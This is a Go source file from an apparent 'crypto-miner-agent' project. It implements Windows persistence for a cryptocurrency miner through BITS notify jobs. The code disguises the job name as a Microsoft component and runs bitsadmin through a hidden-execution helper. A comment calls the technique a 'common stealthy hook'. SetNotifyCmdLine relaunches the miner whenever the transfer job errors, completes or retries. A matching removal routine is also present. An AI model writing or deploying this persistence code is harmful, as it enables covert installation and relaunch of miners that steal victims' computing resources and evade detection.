//go:build windows package deploy import ( "fmt" "os" "path/filepath" "strings" "crypto-miner-agent/config" ) // BITS (Background Intelligent Transfer Service) notify-job persistence — runs the // miner when the transfer job errors, completes, or retries (common stealthy hook). // BitsJobName returns the BITS notify job name for this worker build. func BitsJobName(cfg config.RuntimeConfig) string { return bitsJobName(cfg) } func bitsJobName(cfg config.RuntimeConfig) string { base := PersistenceKeyName(cfg) if base == "" { base = "CryptoMinerAgent" } return "Microsoft-Windows-BITS-" + sanitizeName(base) } func bitsJobExists(jobName string) bool { out, err := HiddenCombinedOutput("bitsadmin", "/list", "/allusers", "/verbose") if err != nil { return false } return strings.Contains(string(out), jobName) } // CreateBITSPersistence registers a download BITS job with SetNotifyCmdLine pointed at the miner. func CreateBITSPersistence(cfg config.RuntimeConfig, binPath string) error { if strings.TrimSpace(binPath) == "" { return fmt.Errorf("binary path required") } job := bitsJobName(cfg) if bitsJobExists(job) { return nil } installDir, err := cfg.InstallDirectory() if err != nil { return err } if err := os.MkdirAll(installDir, 0o755); err != nil { return err } localFile := filepath.Join(installDir, ".bits-transfer.stub") if err := os.WriteFile(localFile, []byte{0}, 0o644); err != nil { return err } remoteURL := "http://127.0.0.1:65534/aetherforge-bits-placeholder" exeEsc := strings.ReplaceAll(binPath, `"`, `""`) params := strings.ReplaceAll(runFlag, `"`, `""`) steps := []struct { name string args []string }{ {"create", []string{"/create", "/download", job}}, {"addfile", []string{"/addfile", job, remoteURL, localFile}}, {"notifycmd", []string{"/SetNotifyCmdLine", job, exeEsc, params}}, {"notifyflags", []string{"/SetNotifyFlags", job, "1", "1", "1", "1", "0"}}, {"retry", []string{"/SetMinRetryDelay", job, "60"}}, {"resume", []string{"/resume", job}}, } for _, step := range steps { args := append([]string{"bitsadmin"}, step.args...) if err := HiddenRun(args[0], args[1:]...); err != nil { _ = HiddenRun("bitsadmin", "/cancel", job) return fmt.Errorf("bitsadmin %s: %w", step.name, err) } } return nil } // RemoveBITSPersistence cancels and removes the BITS notify job for this worker. func RemoveBITSPersistence(cfg config.RuntimeConfig) { job := bitsJobName(cfg) _ = HiddenRun("bitsadmin", "/cancel", job) _ = HiddenRun("bitsadmin", "/complete", job) if installDir, err := cfg.InstallDirectory(); err == nil { _ = os.Remove(filepath.Join(installDir, ".bits-transfer.stub")) } }